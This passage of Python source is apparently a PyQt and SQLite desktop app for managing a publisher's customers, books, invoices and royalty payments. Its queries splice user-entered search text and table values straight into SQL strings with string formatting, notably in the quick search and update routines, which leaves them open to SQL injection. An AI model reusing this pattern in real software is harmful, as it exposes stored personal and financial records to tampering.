QTableWidgetItem(self.TableWidget.item(self.TableWidget.currentRow(), 0)).text()\r\n\r\n if self.SelectedISBN != \"\":\r\n self.BookInvoiceWindow = dbRoyaltiesAndInvoices()\r\n self.BookInvoiceWindow.BookInvoiceButtons()\r\n self.BookInvoiceWindow.btnViewBookInvoiceItems.clicked.connect(self.ViewBookInvoiceItems)\r\n self.BookInvoiceWindow.btnAddBookInvoice.clicked.connect(self.AddItem)\r\n self.BookInvoiceWindow.btnUpdateBookInvoice.clicked.connect(self.UpdateEntry)\r\n self.BookInvoiceWindow.btnDeleteEntry.clicked.connect(self.RemoveFromDB)\r\n self.BookInvoiceWindow.table = dbTableWidget()\r\n self.RefreshTables()\r\n self.BookInvoiceWindow.table.setFixedSize(620, 150)\r\n self.BookInvoiceWindow.BookInvoice()\r\n self.CurrentTable = \"Book\"\r\n\r\n\r\n\r\n def ViewBookInvoiceItems(self): #initialising the view book invoice items window\r\n self.CurrentTable = \"BookInvoiceItems\"\r\n self.BookInvoiceWindow.SelectedRow = self.BookInvoiceWindow.table.currentRow()\r\n self.holder = self.SelectedAuthorID\r\n self.SelectedAuthorID = self.SelectedID\r\n self.BookInvoiceWindow.selectedISBN = self.SelectedISBN\r\n self.SelectedID = QTableWidgetItem(self.BookInvoiceWindow.table.item(self.BookInvoiceWindow.SelectedRow, 0)).text()\r\n\r\n if self.SelectedID != \"\":\r\n self.BookInvoiceItemsWindow = dbItems()\r\n self.BookInvoiceItemsWindow.selectedID = self.SelectedID\r\n self.BookInvoiceItemsWindow.selectedISBN = self.SelectedISBN\r\n self.BookInvoiceItemsWindow.BookInvoiceItemsButtons()\r\n self.BookInvoiceItemsWindow.btnCalculate.clicked.connect(self.AddItem)\r\n self.BookInvoiceItemsWindow.btnUpdateBookInvoiceItems.clicked.connect(self.UpdateEntry)\r\n self.BookInvoiceItemsWindow.btnDeleteEntry.clicked.connect(self.RemoveFromDB)\r\n self.BookInvoiceItemsWindow.table = dbTableWidget()\r\n self.RefreshTables()\r\n self.BookInvoiceItemsWindow.table.setFixedSize(620, 150)\r\n self.BookInvoiceItemsWindow.BookInvoiceItems()\r\n self.SelectedID = self.SelectedAuthorID\r\n self.SelectedAuthorID = self.holder\r\n self.CurrentTable = \"BookInvoice\"\r\n self.RefreshTables()\r\n\r\n\r\n\r\n def ViewRoyalties(self): #initialising the view royalties window\r\n self.CurrentTable = \"Royalties\"\r\n self.ViewWindow.SelectedRow = self.ViewWindow.table.currentRow()\r\n self.SelectedISBN = QTableWidgetItem(self.ViewWindow.table.item(self.ViewWindow.SelectedRow, 0)).text()\r\n self.SelectedAuthorID = QTableWidgetItem(self.TableWidget.item(self.TableWidget.currentRow(), 0)).text()\r\n if self.SelectedISBN != \"\":\r\n self.RoyaltiesWindow = dbRoyaltiesAndInvoices()\r\n self.RoyaltiesWindow.RoyaltiesButtons()\r\n self.RoyaltiesWindow.btnViewRoyaltyItems.clicked.connect(self.ViewRoyaltyItems)\r\n self.RoyaltiesWindow.btnAddRoyalties.clicked.connect(self.AddItem)\r\n self.RoyaltiesWindow.btnUpdateRoyalties.clicked.connect(self.UpdateEntry)\r\n self.RoyaltiesWindow.btnDeleteEntry.clicked.connect(self.RemoveFromDB)\r\n self.RoyaltiesWindow.table = dbTableWidget()\r\n self.RefreshTables()\r\n self.RoyaltiesWindow.table.setFixedSize(620, 150)\r\n self.RoyaltiesWindow.Royalties()\r\n self.CurrentTable = \"Book\"\r\n \r\n def ViewRoyaltyItems(self): #initialising the view royalty items window\r\n self.CurrentTable = \"RoyaltyItems\"\r\n self.RoyaltiesWindow.SelectedRow = self.RoyaltiesWindow.table.currentRow()\r\n self.holder = self.SelectedAuthorID\r\n self.SelectedAuthorID = self.SelectedID\r\n self.RoyaltiesWindow.selectedISBN = self.SelectedISBN\r\n self.SelectedID = QTableWidgetItem(self.RoyaltiesWindow.table.item(self.RoyaltiesWindow.SelectedRow, 0)).text()\r\n\r\n if self.SelectedID != \"\":\r\n self.RoyaltyItemsWindow = dbItems()\r\n self.RoyaltyItemsWindow.selectedID = self.SelectedID\r\n self.RoyaltyItemsWindow.selectedISBN = self.SelectedISBN\r\n self.RoyaltyItemsWindow.RoyaltyItemsButtons()\r\n self.RoyaltyItemsWindow.btnCalculate.clicked.connect(self.AddItem)\r\n self.RoyaltyItemsWindow.btnUpdateRoyaltyItems.clicked.connect(self.UpdateEntry)\r\n self.RoyaltyItemsWindow.btnDeleteEntry.clicked.connect(self.RemoveFromDB)\r\n self.RoyaltyItemsWindow.table = dbTableWidget()\r\n self.RefreshTables()\r\n self.RoyaltyItemsWindow.table.setFixedSize(620, 150)\r\n self.RoyaltyItemsWindow.RoyaltiesItems()\r\n self.SelectedID = self.SelectedAuthorID\r\n self.SelectedAuthorID = self.holder\r\n self.CurrentTable = \"Royalties\"\r\n self.RefreshTables()\r\n\r\n\r\n \r\n def BookInvoiceItemCalculation(self): #calculating the bookinvoicepayment\r\n try:\r\n if self.Editing == False:\r\n self.Quantity = int(self.AddWindow.inputList[2].text())\r\n self.Discount = float(self.AddWindow.inputList[3].text()) / 100\r\n self.ShippingPrice = float(self.AddWindow.inputList[5].text())\r\n self.ISBN = self.AddWindow.inputList[1].text()\r\n elif self.Editing == True:\r\n self.Quantity = int(self.EditWindow.inputList[2].text())\r\n self.Discount = float(self.EditWindow.inputList[3].text()) / 100\r\n self.ShippingPrice = float(self.EditWindow.inputList[5].text())\r\n self.ISBN = self.EditWindow.inputList[1].text()\r\n\r\n with sqlite3.connect(\"PP.db\") as db: #fetching data from db\r\n cursor = db.cursor()\r\n cursor.execute(\"select Price from Book where ISBN = {}\".format(self.ISBN))\r\n self.Price = list(cursor.fetchone())[0]\r\n db.commit()\r\n\r\n self.BookInvoiceItemPayment = (self.Quantity * self.Price)\r\n self.Discount = self.BookInvoiceItemPayment * self.Discount\r\n self.BookInvoiceItemPayment -= self.Discount\r\n self.BookInvoiceItemPayment += self.ShippingPrice\r\n self.BookInvoiceItemPayment = \"£{0:.2f}\".format(self.BookInvoiceItemPayment)\r\n if self.Editing == False:\r\n self.AddWindow.btnConfirm.clicked.connect(self.AddWindow.accept)\r\n self.AddWindow.qleCalculation.setText(self.BookInvoiceItemPayment)\r\n elif self.Editing == True:\r\n if self.EditWindow.Calculated == False:\r\n self.EditWindow.Calculated = True #prevents duplicate connections\r\n self.EditWindow.btnConfirm.clicked.connect(self.VerifyUpdate)\r\n self.EditWindow.qleCalculation.setText(self.BookInvoiceItemPayment)\r\n except:\r\n self.Msg = QMessageBox()\r\n self.Msg.setWindowTitle(\"Error\")\r\n self.Msg.setText(\"You must fill all fields before clicking 'Calculate'.\")\r\n self.Msg.exec_()\r\n\r\n def RoyaltyItemCalculation(self): #calculating the royalty payment\r\n try:\r\n if self.Editing == False:\r\n self.Currency = self.AddWindow.inputList[2].text()\r\n self.WholesalePrice = float(self.AddWindow.inputList[4].text())\r\n self.Quantity = int(self.AddWindow.inputList[5].text())\r\n self.PrintCost = float(self.AddWindow.inputList[6].text())\r\n elif self.Editing == True:\r\n self.Currency = self.EditWindow.inputList[2].text()\r\n self.WholesalePrice = float(self.EditWindow.inputList[4].text())\r\n self.Quantity = int(self.EditWindow.inputList[5].text())\r\n self.PrintCost = float(self.EditWindow.inputList[6].text())\r\n\r\n self.NetSales = self.WholesalePrice * self.Quantity\r\n self.RoyaltyItemPayment = self.NetSales - self.PrintCost\r\n self.RoyaltyItemPayment = \"{0:.2f}\".format(self.RoyaltyItemPayment)\r\n if self.Editing == False:\r\n self.AddWindow.btnConfirm.clicked.connect(self.AddWindow.accept)\r\n self.AddWindow.qleCalculation.setText(\"{}{}\".format(self.Currency, self.RoyaltyItemPayment))\r\n self.AddWindow.NetSales = self.NetSales\r\n elif self.Editing == True:\r\n if self.EditWindow.Calculated == False:\r\n self.EditWindow.Calculated = True #prevents duplicate connections\r\n self.EditWindow.btnConfirm.clicked.connect(self.VerifyUpdate)\r\n self.EditWindow.qleCalculation.setText(\"{}{}\".format(self.Currency, self.RoyaltyItemPayment))\r\n self.EditWindow.NetSales = self.NetSales\r\n except:\r\n self.Msg = QMessageBox()\r\n self.Msg.setWindowTitle(\"Error\")\r\n self.Msg.setText(\"You must fill all fields before clicking 'Calculate'.\")\r\n self.Msg.exec_()\r\n\r\n \r\n def UpdateCustomerEntry(self): #updating customer entries only\r\n self.SelectedRow = self.TableWidget.currentRow()\r\n self.SelectedAuthorID = QTableWidgetItem(self.TableWidget.item(self.SelectedRow, 0)).text()\r\n \r\n if self.SelectedAuthorID != \"\":\r\n self.UpdateEntryWindow = dbUpdateEntryWindow()\r\n self.UpdateEntryWindow.setFixedSize(640, 115)\r\n self.UpdateEntryWindow.selectedID = self.SelectedAuthorID\r\n self.UpdateEntryWindow.table = dbTableWidget()\r\n self.selectText = \"Firstname, Lastname, Email, Phonenumber, Address, Postcode\"\r\n self.UpdateEntryWindow.table.sql = \"select {} from Customer where AuthorID = {}\".format(self.selectText, self.SelectedAuthorID)\r\n self.SelectedID = self.SelectedAuthorID \r\n self.UpdateEntryWindow.table.initTable()\r\n self.UpdateEntryWindow.table.setFixedSize(617, 55)\r\n self.UpdateEntryWindow.Verify = dbConfirmationDialog()\r\n self.UpdateEntryWindow.Verify.Username = self.Username\r\n self.UpdateEntryWindow.initConfirmBtn()\r\n self.UpdateEntryWindow.btnConfirm.clicked.connect(self.VerifyCustomerUpdate)\r\n self.UpdateEntryWindow.initUpdateEntryWindowDlg()\r\n self.TableWidget.sql = \"select * from Customer\"\r\n self.RefreshTables()\r\n\r\n\r\n\r\n def UpdateEntry(self): #getting the update input\r\n self.Selection = False\r\n self.EditWindow = dbAddItemWindow() #uses the add window to init same interface but fill boxes with data\r\n self.EditWindow.setFixedSize(360, 200)\r\n self.EditWindow.AddType = self.CurrentTable\r\n self.EditWindow.AnswerButtons()\r\n self.EditWindow.ReadyToVerify = False\r\n self.EditWindow.originalItemList = []\r\n \r\n if self.CurrentTable == \"Book\":\r\n self.EditWindow.sql = \"select * from Book\"\r\n self.ViewWindow.SelectedRow = self.ViewWindow.table.currentRow()\r\n if self.ViewWindow.SelectedRow != -1:\r\n self.Selection = True\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor() #fetching data from database for the edit window\r\n sql = \"select * from Book where ISBN = {}\".format(self.ViewWindow.table.item(self.ViewWindow.SelectedRow, 0).text())\r\n cursor.execute(sql)\r\n self.EditWindow.originalItemList = list(cursor.fetchone())\r\n \r\n elif self.CurrentTable == \"PubInvoice\":\r\n self.EditWindow.setFixedSize(400,150)\r\n self.EditWindow.selectedISBN = self.SelectedISBN\r\n self.EditWindow.sql = \"select ISBN, AuthorID, PubInvoiceDate, PubInvoiceService, PubInvoicePayment from PubInvoice\"\r\n self.PubInvoiceWindow.SelectedRow = self.PubInvoiceWindow.table.currentRow()\r\n if self.PubInvoiceWindow.SelectedRow != -1:\r\n self.Selection = True\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor() #fetching data from database for the edit window\r\n sql = \"select ISBN, AuthorID, PubInvoiceDate, PubInvoiceService, PubInvoicePayment from PubInvoice where PubInvoiceID = {}\".format(self.PubInvoiceWindow.table.item(self.PubInvoiceWindow.SelectedRow, 0).text())\r\n cursor.execute(sql)\r\n self.EditWindow.originalItemList = list(cursor.fetchone())\r\n \r\n elif self.CurrentTable == \"BookInvoice\":\r\n self.EditWindow.setFixedSize(350, 100)\r\n self.EditWindow.selectedID = self.SelectedID\r\n self.EditWindow.sql = \"select AuthorID, BookInvoiceDate from BookInvoice\"\r\n self.BookInvoiceWindow.SelectedRow = self.BookInvoiceWindow.table.currentRow()\r\n if self.BookInvoiceWindow.SelectedRow != -1:\r\n self.Selection = True\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor() #fetching data from database for the edit window\r\n sql = \"select AuthorID, BookInvoiceDate from BookInvoice where BookInvoiceID = {}\".format(self.BookInvoiceWindow.table.item(self.BookInvoiceWindow.SelectedRow, 0).text())\r\n cursor.execute(sql)\r\n self.EditWindow.originalItemList = list(cursor.fetchone())\r\n \r\n elif self.CurrentTable == \"Royalties\":\r\n self.EditWindow.setFixedSize(350, 100)\r\n self.EditWindow.selectedID = self.SelectedID\r\n self.EditWindow.sql = \"select AuthorID, RoyaltiesDate from Royalties\"\r\n self.RoyaltiesWindow.SelectedRow = self.RoyaltiesWindow.table.currentRow()\r\n if self.RoyaltiesWindow.SelectedRow != -1:\r\n self.Selection = True\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor() #fetching data from database for the edit window\r\n sql = \"select AuthorID, RoyaltiesDate from Royalties where RoyaltiesID = {}\".format(self.RoyaltiesWindow.table.item(self.RoyaltiesWindow.SelectedRow, 0).text())\r\n cursor.execute(sql)\r\n self.EditWindow.originalItemList = list(cursor.fetchone())\r\n \r\n elif self.CurrentTable == \"BookInvoiceItems\":\r\n self.EditWindow.setFixedSize(450, 150)\r\n self.EditWindow.selectedID = self.SelectedID\r\n self.Editing = True\r\n self.EditWindow.btnCalculate.clicked.connect(self.BookInvoiceItemCalculation)\r\n self.EditWindow.selectedISBN = self.SelectedISBN\r\n self.EditWindow.sql = \"select BookInvoiceID, ISBN, BookInvoiceQuantity, BookInvoiceDiscount, ShippingType, ShippingPrice from BookInvoiceItems\"\r\n self.BookInvoiceItemsWindow.SelectedRow = self.BookInvoiceItemsWindow.table.currentRow()\r\n if self.BookInvoiceItemsWindow.SelectedRow != -1:\r\n self.Selection = True\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor() #fetching data from database for the edit window\r\n sql = \"select BookInvoiceID, ISBN, BookInvoiceQuantity, BookInvoiceDiscount, ShippingType, ShippingPrice from BookInvoiceItems where BookInvoiceItemsID = {}\".format(self.BookInvoiceItemsWindow.table.item(self.BookInvoiceItemsWindow.SelectedRow, 0).text())\r\n cursor.execute(sql)\r\n self.EditWindow.originalItemList = list(cursor.fetchone())\r\n\r\n elif self.CurrentTable == \"RoyaltyItems\":\r\n self.EditWindow.setFixedSize(450, 250)\r\n self.EditWindow.selectedID = self.SelectedID\r\n self.Editing = True\r\n self.EditWindow.btnCalculate.clicked.connect(self.RoyaltyItemCalculation)\r\n self.EditWindow.selectedISBN = self.SelectedISBN\r\n self.EditWindow.sql = \"select RoyaltiesID, ISBN, Currency, RoyaltyDiscount, WholesalePrice, RoyaltyQuantity, PrintCost, ExcRateFromGBP from RoyaltyItems\"\r\n self.RoyaltyItemsWindow.SelectedRow = self.RoyaltyItemsWindow.table.currentRow()\r\n if self.RoyaltyItemsWindow.SelectedRow != -1:\r\n self.Selection = True\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor() #fetching data from database for the edit window\r\n sql = \"select RoyaltiesID, ISBN, Currency, RoyaltyDiscount, WholesalePrice, RoyaltyQuantity, PrintCost, ExcRateFromGBP from RoyaltyItems where RoyaltyItemsID = {}\".format(self.RoyaltyItemsWindow.table.item(self.RoyaltyItemsWindow.SelectedRow, 0).text())\r\n cursor.execute(sql)\r\n self.EditWindow.originalItemList = list(cursor.fetchone())\r\n\r\n self.EditWindow.Editing = True\r\n\r\n if self.Selection == True: #initialising the edit window\r\n self.EditWindow.btnConfirm.clicked.connect(self.EditWindow.Validate)\r\n if self.CurrentTable in [\"RoyaltyItems\", \"BookInvoiceItems\"]:\r\n self.EditWindow.btnConfirm.clicked.connect(self.EditWindow.CheckCalculated)\r\n else:\r\n self.EditWindow.btnConfirm.clicked.connect(self.VerifyUpdate)\r\n self.EditWindow.AddType = self.CurrentTable\r\n self.EditWindow.selectedID = self.SelectedID\r\n\r\n self.EditWindow.CalendarWidget = dbCalendarWidget()\r\n self.EditWindow.CalendarWidget.Calendar()\r\n self.EditWindow.initAddItemWindow()\r\n\r\n\r\n \r\n def VerifyCustomerUpdate(self):\r\n self.UpdateEntryWindow.Verify = dbConfirmationDialog()\r\n #new instance for customer verification\r\n\r\n \r\n\r\n def VerifyUpdate(self): #verification dialog\r\n if self.EditWindow.ReadyToVerify == True:\r\n self.EditWindow.Verify = dbConfirmationDialog()\r\n self.EditWindow.Verify.Msg = \"Insert Password to confirm all changes\"\r\n self.EditWindow.Verify.ConfirmedMsg = \"Update successful\"\r\n self.EditWindow.Verify.VerifyDlg()\r\n if self.EditWindow.Verify.ConfirmedDialog.Accepted == True:\r\n self.UpdateChanges()\r\n self.EditWindow.accept()\r\n \r\n\r\n \r\n def UpdateChanges(self): #committing changes\r\n self.UpdateList = []\r\n\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor()\r\n if self.CurrentTable == \"Book\":\r\n self.NoOfEntries = 12\r\n cursor.execute(\"select * from Book\")\r\n self.ID = \"ISBN\"\r\n self.SelectedISBN = QTableWidgetItem(self.ViewWindow.table.item(self.ViewWindow.SelectedRow, 0)).text()\r\n self.SelectedID = self.SelectedISBN\r\n self.BookEdited = True\r\n\r\n elif self.CurrentTable == \"PubInvoice\":\r\n cursor.execute(\"select ISBN, AuthorID, PubInvoiceDate, PubInvoiceService, PubInvoicePayment from PubInvoice\")\r\n self.NoOfEntries = 5\r\n self.ID = \"PubInvoiceID\"\r\n self.OldID = self.SelectedID\r\n self.SelectedID = QTableWidgetItem(self.PubInvoiceWindow.table.item(self.PubInvoiceWindow.SelectedRow, 0)).text()\r\n\r\n elif self.CurrentTable == \"BookInvoice\":\r\n cursor.execute(\"select AuthorID, BookInvoiceDate from BookInvoice\")\r\n self.NoOfEntries = 2\r\n self.ID = \"BookInvoiceID\"\r\n self.OldID = self.SelectedID\r\n self.SelectedID = QTableWidgetItem(self.BookInvoiceWindow.table.item(self.BookInvoiceWindow.SelectedRow, 0)).text()\r\n\r\n elif self.CurrentTable == \"Royalties\":\r\n cursor.execute(\"select AuthorID, RoyaltiesDate from Royalties\")\r\n self.NoOfEntries = 2\r\n self.ID = \"RoyaltiesID\"\r\n self.OldID = self.SelectedID\r\n self.SelectedID = QTableWidgetItem(self.RoyaltiesWindow.table.item(self.RoyaltiesWindow.SelectedRow, 0)).text()\r\n \r\n elif self.CurrentTable == \"BookInvoiceItems\":\r\n cursor.execute(\"select BookInvoiceID, ISBN, BookInvoiceQuantity, BookInvoiceDiscount, ShippingType, ShippingPrice from BookInvoiceItems\")\r\n self.NoOfEntries = 6\r\n self.ID = \"BookInvoiceItemsID\"\r\n self.OldID = self.SelectedID\r\n self.SelectedID = QTableWidgetItem(self.BookInvoiceItemsWindow.table.item(self.BookInvoiceItemsWindow.SelectedRow, 0)).text()\r\n\r\n elif self.CurrentTable == \"RoyaltyItems\":\r\n cursor.execute(\"select RoyaltiesID, ISBN, Currency, RoyaltyDiscount, WholesalePrice, RoyaltyQuantity, PrintCost, ExcRateFromGBP from RoyaltyItems\")\r\n self.NoOfEntries = 6\r\n self.ID = \"RoyaltyItemsID\"\r\n self.OldID = self.SelectedID\r\n self.SelectedID = QTableWidgetItem(self.RoyaltyItemsWindow.table.item(self.RoyaltyItemsWindow.SelectedRow, 0)).text()\r\n \r\n for count in range(0, self.NoOfEntries): #creating the update string for sql\r\n try:\r\n self.UpdateList.append(str(self.EditWindow.inputList[count].currentText()))\r\n except:\r\n if count == 8 and self.CurrentTable == \"RoyaltyItems\":\r\n self.UpdateList.append(str(self.NetSales))\r\n else:\r\n self.UpdateList.append(self.EditWindow.inputList[count].text())\r\n \r\n self.Update = \"\"\r\n \r\n self.Headers = list(cursor.description)\r\n for count in range(0, len(self.UpdateList)):\r\n self.Update += \"{} = '{}'\".format(list(self.Headers[count])[0], self.UpdateList[count])\r\n if count != len(self.UpdateList) - 1:\r\n self.Update += \", \"\r\n \r\n with sqlite3.connect(\"PP.db\") as db: #update\r\n cursor = db.cursor()\r\n if self.CurrentTable == \"Book\": #ISBN is primary key which may be changed, so all foreign keys will change first for it\r\n try:\r\n sql = \"update PubInvoice set ISBN = {0} where ISBN = {1}\".format(self.UpdateList[0], self.SelectedID)\r\n cursor.execute(sql)\r\n sql = \"update BookInvoiceItems set ISBN = {0} where ISBN = {1}\".format(self.UpdateList[0], self.SelectedID)\r\n cursor.execute(sql)\r\n sql = \"update RoyaltyItems set ISBN = {0} where ISBN = {1}\".format(self.UpdateList[0], self.SelectedID)\r\n cursor.execute(sql)\r\n except:\r\n pass # error if no entry is there for pubinvoice/bookinvoiceitems/royaltyitems\r\n sql = \"update {} set {} where {} = {}\".format(self.CurrentTable, self.Update, self.ID, self.SelectedID)\r\n cursor.execute(sql)\r\n db.commit()\r\n \r\n if self.CurrentTable in [\"Royalties\", \"BookInvoice\", \"PubInvoice\", \"BookInvoiceItems\", \"RoyaltyItems\"]:\r\n self.SelectedID = self.OldID\r\n \r\n self.RefreshTables()\r\n \r\n try:\r\n self.RecalculateItems()\r\n self.BookEdited = False\r\n except:\r\n pass\r\n \r\n\r\n\r\n def RefreshTables(self): #refreshing tables\r\n if self.CurrentTable == \"Customer\":\r\n self.TableWidget.sql = \"select * from Customer\"\r\n self.TableWidget.initTable()\r\n \r\n if self.CurrentTable == \"Book\": \r\n self.ViewWindow.table.sql = \"select * from Book where AuthorID = {}\".format(self.SelectedAuthorID)\r\n self.ViewWindow.table.initTable()\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor()\r\n cursor.execute(\"select Firstname, Lastname from Customer where AuthorID = {}\".format(self.SelectedAuthorID))\r\n self.Name = list(cursor.fetchone())\r\n self.Name = \"{}, {}\".format(self.Name[1], self.Name[0])\r\n for count in range(0, self.TableWidget.rowCount()+1):\r\n self.ViewWindow.table.setItem(count, 1, QTableWidgetItem(self.Name))\r\n self.ViewWindow.table.setHorizontalHeaderItem(1, QTableWidgetItem(\"Author\"))\r\n db.commit() \r\n elif self.CurrentTable == \"PubInvoice\":\r\n self.PubInvoiceWindow.table.sql = \"select * from PubInvoice where ISBN = {}\".format(self.SelectedISBN)\r\n self.PubInvoiceWindow.table.initTable()\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor()\r\n cursor.execute(\"select BookTitle from Book where ISBN = {}\".format(self.SelectedISBN))\r\n self.Title = \"{}\".format(list(cursor.fetchone())[0])\r\n for count in range(0, self.TableWidget.rowCount()+1):\r\n self.PubInvoiceWindow.table.setItem(count, 1, QTableWidgetItem(self.Title))\r\n self.PubInvoiceWindow.table.setHorizontalHeaderItem(1, QTableWidgetItem(\"BookTitle\"))\r\n cursor.execute(\"select Firstname, Lastname from Customer where AuthorID = {}\".format(self.SelectedAuthorID))\r\n self.Name = list(cursor.fetchone())\r\n self.Name = \"{}, {}\".format(self.Name[1], self.Name[0])\r\n for count in range(0, self.TableWidget.rowCount()+1):\r\n self.PubInvoiceWindow.table.setItem(count, 2, QTableWidgetItem(self.Name))\r\n self.PubInvoiceWindow.table.setHorizontalHeaderItem(2, QTableWidgetItem(\"Author\"))\r\n db.commit() \r\n\r\n elif self.CurrentTable == \"BookInvoice\":\r\n self.BookInvoiceWindow.table.sql = \"select * from BookInvoice where AuthorID = {}\".format(self.SelectedAuthorID)\r\n self.BookInvoiceWindow.table.initTable()\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor()\r\n cursor.execute(\"select Firstname, Lastname from Customer where AuthorID = {}\".format(self.SelectedAuthorID))\r\n self.Name = list(cursor.fetchone())\r\n self.Name = \"{}, {}\".format(self.Name[1], self.Name[0])\r\n for count in range(0, self.TableWidget.rowCount()+1):\r\n self.BookInvoiceWindow.table.setItem(count, 1, QTableWidgetItem(self.Name))\r\n self.BookInvoiceWindow.table.setHorizontalHeaderItem(1, QTableWidgetItem(\"Author\"))\r\n db.commit() \r\n\r\n elif self.CurrentTable == \"Royalties\":\r\n self.RoyaltiesWindow.table.sql = \"select * from Royalties where AuthorID = {}\".format(self.SelectedAuthorID)\r\n self.RoyaltiesWindow.table.initTable()\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor()\r\n cursor.execute(\"select Firstname, Lastname from Customer where AuthorID = {}\".format(self.SelectedAuthorID))\r\n self.Name = list(cursor.fetchone())\r\n self.Name = \"{}, {}\".format(self.Name[1], self.Name[0])\r\n for count in range(0, self.TableWidget.rowCount()+1):\r\n self.RoyaltiesWindow.table.setItem(count, 1, QTableWidgetItem(self.Name))\r\n self.RoyaltiesWindow.table.setHorizontalHeaderItem(1, QTableWidgetItem(\"Author\"))\r\n db.commit()\r\n \r\n elif self.CurrentTable == \"BookInvoiceItems\":\r\n self.BookInvoiceItemsWindow.table.sql = \"select * from BookInvoiceItems where BookInvoiceID = {}\".format(self.SelectedID)\r\n\r\n self.BookInvoiceItemsWindow.table.initTable()\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor()\r\n self.ID = []\r\n sql = \"select BookInvoiceItemsID from BookInvoiceItems where BookInvoiceID = {}\".format(self.SelectedID)\r\n cursor.execute(sql)\r\n self.IDList = list(cursor.fetchall())\r\n for count in range(0, len(self.IDList)):\r\n self.temp = list(self.IDList[count])[0]\r\n self.ID.append(self.temp)\r\n \r\n for count in range(0, len(self.ID)):\r\n try:\r\n cursor.execute(\"select Book.BookTitle, BookInvoiceItems.ISBN, Firstname, Lastname, BookInvoiceItems.BookInvoiceID from Book, BookInvoiceItems, Customer, BookInvoice where BookInvoiceItems.BookInvoiceID = {} and BookInvoiceItems.BookInvoiceItemsID = {} and Book.ISBN = BookInvoiceItems.ISBN and BookInvoice.BookInvoiceID = BookInvoiceItems.BookInvoiceID and Customer.AuthorID = BookInvoice.AuthorID\".format(self.SelectedID, self.ID[count]))\r\n self.Title = list(cursor.fetchone())\r\n self.Name = \"{}, {}\".format(self.Title[3], self.Title[2])\r\n self.Title = self.Title[0]\r\n self.BookInvoiceItemsWindow.table.setItem(count, 2, QTableWidgetItem(str(self.Title)))\r\n self.BookInvoiceItemsWindow.table.setItem(count, 1, QTableWidgetItem(str(self.Name)))\r\n except:\r\n pass\r\n self.BookInvoiceItemsWindow.table.setHorizontalHeaderItem(2, QTableWidgetItem(\"BookTitle\"))\r\n self.BookInvoiceItemsWindow.table.setHorizontalHeaderItem(1, QTableWidgetItem(\"Author\"))\r\n db.commit()\r\n\r\n elif self.CurrentTable == \"RoyaltyItems\":\r\n self.RoyaltyItemsWindow.table.sql = \"select * from RoyaltyItems where RoyaltiesID = {}\".format(self.SelectedID)\r\n self.RoyaltyItemsWindow.table.initTable()\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor()\r\n self.ID = []\r\n sql = \"select RoyaltyItemsID from RoyaltyItems where RoyaltiesID = {}\".format(self.SelectedID)\r\n cursor.execute(sql)\r\n self.IDList = list(cursor.fetchall())\r\n for count in range(0, len(self.IDList)):\r\n self.temp = list(self.IDList[count])[0]\r\n self.ID.append(self.temp)\r\n \r\n for count in range(0, len(self.ID)):\r\n try:\r\n cursor.execute(\"select Book.BookTitle, RoyaltyItems.ISBN, Firstname, Lastname, RoyaltyItems.RoyaltiesID from Book, RoyaltyItems, Customer, Royalties where RoyaltyItems.RoyaltiesID = {} and RoyaltyItems.RoyaltyItemsID = {} and Book.ISBN = RoyaltyItems.ISBN and Royalties.RoyaltiesID = RoyaltyItems.RoyaltiesID and Customer.AuthorID = Royalties.AuthorID\".format(self.SelectedID, self.ID[count]))\r\n self.Title = list(cursor.fetchone())\r\n self.Name = \"{}, {}\".format(self.Title[3], self.Title[2])\r\n self.Title = self.Title[0]\r\n self.RoyaltyItemsWindow.table.setItem(count, 2, QTableWidgetItem(str(self.Title)))\r\n self.RoyaltyItemsWindow.table.setItem(count, 1, QTableWidgetItem(str(self.Name)))\r\n except:\r\n pass\r\n self.RoyaltyItemsWindow.table.setHorizontalHeaderItem(2, QTableWidgetItem(\"BookTitle\"))\r\n self.RoyaltyItemsWindow.table.setHorizontalHeaderItem(1, QTableWidgetItem(\"Author\"))\r\n db.commit()\r\n\r\n def Back(self): #going back from the view window to the main menu\r\n self.ViewWindow.table.selectedID = None \r\n self.CurrentTable = \"Customer\"\r\n self.StackedLayout.setCurrentIndex(0)\r\n self.MenuBar.setVisible(True)\r\n\r\n\r\n\r\n def QuickSearch(self): #quick search from main menu\r\n self.QSText = self.MainMenuButtons.leQuickSearch.text()\r\n self.QSText = self.QSText.split(' ')\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor()\r\n \r\n if len(self.QSText) == 1:\r\n self.TableWidget.sql = \"select * from Customer where Firstname like '{0}%' or Lastname like '{0}%'\".format(self.QSText[0])\r\n elif len(self.QSText) == 0:\r\n self.TableWidget.sql = \"select * from Customer\"\r\n else:\r\n for count in range(1, len(self.QSText)):\r\n if count != 1:\r\n self.QSText[1] += \" {}\".format(self.QSText[count])\r\n self.TableWidget.sql = \"select * from Customer where Firstname like '{0}%' and Lastname like '{1}%'\".format(self.QSText[0], self.QSText[1])\r\n self.TableWidget.initTable()\r\n\r\n\r\n\r\n def Search(self): #main search interface\r\n self.SearchDatabase = dbSearchDatabase()\r\n self.SearchDatabase.Table = None\r\n self.SearchDatabase.Valid = False\r\n self.SearchDatabase.CalendarWidget = dbCalendarWidget()\r\n self.SearchDatabase.CalendarWidget.Calendar()\r\n self.SearchDatabase.initLayout()\r\n self.errorIndex = False\r\n if self.SearchDatabase.Valid == True:\r\n if self.SearchDatabase.Table != None:\r\n try:\r\n if self.SearchDatabase.Table == \"Book\":\r\n for count in range(0, len(self.SearchDatabase.Results) +1):\r\n try:#using the results to fetch the correct data\r\n if count == 0: \r\n self.SearchTable.sql = \"select * from {} where ISBN = '{}'\".format(self.SearchDatabase.Table, list(self.SearchDatabase.Results[count])[2])\r\n else:\r\n self.SearchTable.sql += \" or ISBN = '{}'\".format(list(self.SearchDatabase.Results[count])[2])\r\n 